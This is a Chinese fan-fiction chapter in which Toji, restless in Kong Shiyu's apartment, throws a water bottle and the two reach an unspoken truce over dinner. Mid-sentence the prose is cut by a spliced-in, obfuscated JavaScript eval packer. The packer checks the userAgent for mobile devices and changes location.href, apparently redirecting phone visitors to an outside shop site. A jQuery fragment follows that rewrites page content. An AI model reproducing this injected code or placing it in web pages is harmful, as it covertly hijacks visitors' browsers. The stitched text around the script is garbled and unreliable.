甚尔住进来的第二周，有那么几天，整间公寓的空气是紧的。
孔时雨说不上来是从哪一天开始的。大概是在幻肢痛那一夜之后，也可能更早一点——他没有仔细去记。他只是慢慢发现，甚尔的作息变得更不规律了，有时候一天不出门，躺在沙发上盯着天花板，或者站在阳台上一站就是半个多小时，什么都不做。有一次孔时雨看到他在那里抽一支烟，毫无疑问是从孔那里拿的，他平时不抽烟。有时候下午四五点钟突然出门，不说去哪，半夜两三点才回来，身上偶尔有新的擦伤，脸上没有表情。孔时雨没问过。
但他在观察，他形容它为煎熬。身体每天都在好，天与咒缚在处理，每天都在好。是别的东西。
是一个习惯用身体活着的人，突然被迫停下来，不知道该怎么存在。
孔时雨刑警做了那么多年，在审讯室和后巷见过各种各样的人，他知道这种状态是什么。一种没有出口的内在压力在找地方发泄。通常会落在自己身上，或者在最近的人身上。
他自己就是那个“最近的人”。
他做了些准备。他把家里贵重的东西悄悄收起来了几样，笔记本电脑每天晚上带进卧室，玄关鞋柜上那盆刚长出来的小植物挪到了阳台。这些事他做得不动声色，甚尔没有注意到，或者看到了也跟没看到一样。
只有一样东西他没法挪——水族箱。
一米二长的缸，装满水之后接近两百公斤，嵌在客厅最显眼的那面墙边上。搬不走，也找不到别的地方放，孔时雨只能继续按平时的节奏照料它。
每天早晨喂一次鱼，分量很小，撒在水面上的时候鱼会从水草之间慢慢浮上来。每三天测一次水质，硝酸盐、亚硝酸盐、PH值，用试纸比色卡。每周换四分之一的水，用细管从缸底把沉积物抽出来，再从另一个预先晾好□□的桶里补新水进去。
他做这些事的时候很专注，动作很慢，像是整个世界收缩成了那一小片水。甚尔有几次靠在厨房门口看他换水，看了一会儿又走开了。
孔时雨知道他在看，但他该干什么干什么。身体和大脑在这一项任务上，自然没有心情分给说话。
他只是等。等那个爆点过来，然后过去。
??
他知道一定会有一个。
那天是个周四的下午，三点多。
孔时雨记得是周四，因为他在处理一件之前搁置的事——帮一个中间商确认某批货物的来源，客户那边催得紧。他坐在餐桌前，笔记本电脑开着，旁边放着一杯温了的咖啡和一本摊开的记事本。窗帘拉开了一半，四月的下午，光从阳台那边斜照进来，落在木地板上切出一条亮带。
甚尔在客厅。
他从下午一点开始就在那里，先是躺在沙发上看天，然后坐起来，然后站到阳台门口，然后又回到沙发，然后又站起来。他没做任何事。没有手机，没有电视，没有赛马报纸。两个小时里他换了大概十个姿势，每一个都只能维持几分钟。
孔时雨的视线偶尔从电脑屏幕上抬起来，扫一眼客厅，又移回去。他懒得去问“你要不要出去走走”或者“你要不要找点事做”，何况这些话说出来都会让情况更糟。
下午三点十几分的时候，甚尔走到厨房，打开冰箱。
孔时雨听见冰箱门的声音。他听见一个瓶子被从冰箱里拿出来，听见冰箱门关上的声音。然后是脚步声——甚尔走回客厅，在沙发前面站着。
然后是拧瓶盖的声音。
那声音短促、摩擦了一下就停住。孔时雨的手指在键盘上停了一瞬。他知道那是什么，单手拧瓶盖，第一次尝试，膝盖或者腋下夹瓶身，瓶子太滑，失败。
他没有抬头。
第二次尝试。又是同样的声音，拧了一下，停住。孔时雨听到一声很轻的塑料挤压声，他换了个位置夹瓶身。但结果一样，盖子没松。
然后是一秒钟的安静。
孔时雨的手指还停在键盘上。他在等甚尔的第三次尝试。
没有第三次。
他听到的是咔啦一声响，塑料瓶砸在墙上就是这种声音，不重，但在那个安静的下午里格外清晰。然后是水洒出来的声音，瓶子在地板上滚动，滚到墙角停下来。
??
孔时雨终于抬起头。
甚尔靠在沙发里，右手空着，脸上的表情轻描淡写，是一种无所谓的厌烦。瓶子对他来说不是一个他没打开的瓶子，是一个不值得他多花一秒钟的异物。他刚才扔瓶子的动作孔时雨只捕捉到了一个尾巴。右手的手腕随便一甩，轻飘飘的，像在扔一只纸飞机。
孔时雨看着他。
甚尔没有看他。甚尔的目光落在滚到墙角的瓶子上，像是在确认那个东西确实从他手里离开了。然后他站起来，像是要走到阳台，又像是哪里都不去。
??
“什么意思？”
好，孔时雨也不耐烦了。
??
甚尔停了下来。
他转过头，看孔时雨。
两个人就这么看着对方。餐桌和沙发之间隔着大概四米的距离，下午的光从阳台照进来，切在两人之间的地板上。孔时雨坐着，甚尔站着。都没有动。
孔时雨不确定他在等什么。“对不起”？不会。“我没事”？不会。“你管我”？也许。他不知道。他其实没在等。
甚尔的眼睛在孔时雨脸上停了几秒。没有敌意，没有愧疚，也没有那种“你凭什么管我”的反弹，要说的话倒像是带上了点怨恨。看吧，会落在最近的人身上。
那个眼神让孔时雨有一瞬间觉得，他意识到自己刚才那一声“什么意思”里藏了什么东西，而甚尔接收到了。
然后甚尔的视线动了一下。很细微。
最后他什么都没说。他只是看了孔时雨一会儿，也被孔时雨看了一会儿，然后把视线移开了。
孔时雨也把视线收回来了。他低头看了一眼电脑屏幕，文档自动保存的提示刚刚弹出来又消失。他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489759|202172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手指放回键盘上，但没有打字。
阿一西，孔时雨在心里叹气。他没合上电脑，就那么直接拿着，坐到了沙发的另一端。
??
房间里很安静。阳光还在地板上那条亮带里，慢慢移动，没有一点声音。墙角那瓶水躺在那里，瓶身歪着，显得有点可怜。被摔开的瓶口渗出一点水，在木地板上洇开一小片。
甚尔朝墙角走过去了。脚步很轻——这人像猫一样，走路没声音。他走到那瓶水旁边蹲下来，右手捡起瓶子。这次他没用膝盖，没用腋下，就那么握着瓶身上段，大拇指一搓。
盖子开了，水在手的握力下撒出来一点。
身体就是这样。有时候跟你合作，有时候不。原来天与的身体也如此。
甚尔看了一眼拧开的瓶盖。他走回沙发，喝了一小口，然后把那瓶水放在沙发上两人中间。
孔时雨的手指重新在键盘上开始打字。
那堵墙、地板上的水渍、那瓶被放在中间的水，纷纷扬扬进了语言的垃圾堆。
下午的光继续慢慢移动，从地板上的亮带变成靠墙的一条细缝，最后消失。公寓里的光线从明亮慢慢变成暖黄，再慢慢变成灰蓝。孔时雨处理完了那个中间商的事，关掉电脑，站起来去厨房准备晚饭。他做了两人份的意面，简单款式，番茄酱和香肠。
他把其中一盘放在甚尔面前的时候，那瓶水还在沙发中间。没动过。
甚尔看了盘子一眼，又看了那瓶水一眼，然后拿起叉子开始吃。他吃东西很快，同样没有声音，连叉子撞击餐盘的声音也没有。
孔时雨坐回沙发另一头，也端着个盘子。
??
吃到一半的时候，孔时雨像突然想到什么一样，开口说了句跟下午完全无关的话。
“明天有个人会来电话。”他说，“要找人处理一件事。如果你有兴趣，可以去。”
甚尔嚼东西的动作停了一下。
“什么事。”
“一个收账的活。不难，但对方那边有两三个看起来像是有点来头的人。想要一个震慑效果。”
甚尔吃完嘴里那口，咽下去。
“多少？”
“五万。”
甚尔撇撇嘴，孔时雨读懂了，就嫌弃呗。
但孔时雨知道他会去。
孔时雨把两个盘子收到厨房去洗。回来的时候甚尔已经躺在沙发上了，右手搭在额头上，眼睛闭着。那瓶水夹在他和沙发中间。
孔时雨走过去，伸手拿起来喝了一口。
然后他把它扔回去，扔在甚尔的肚子上，瓶子在坚实的腹肌上滚了两下又落回沙发缝。
他回到卧室去了。
甚尔躺着没动。过了大概一分钟，他的右手从额头上放下来，把那瓶硌得慌的水掏出来，放在茶几上。
客厅里只有他一个人了，灯还开着。窗外的东京已经是夜里的样子，远处有几栋高楼的灯光亮起来。
他想抽烟了。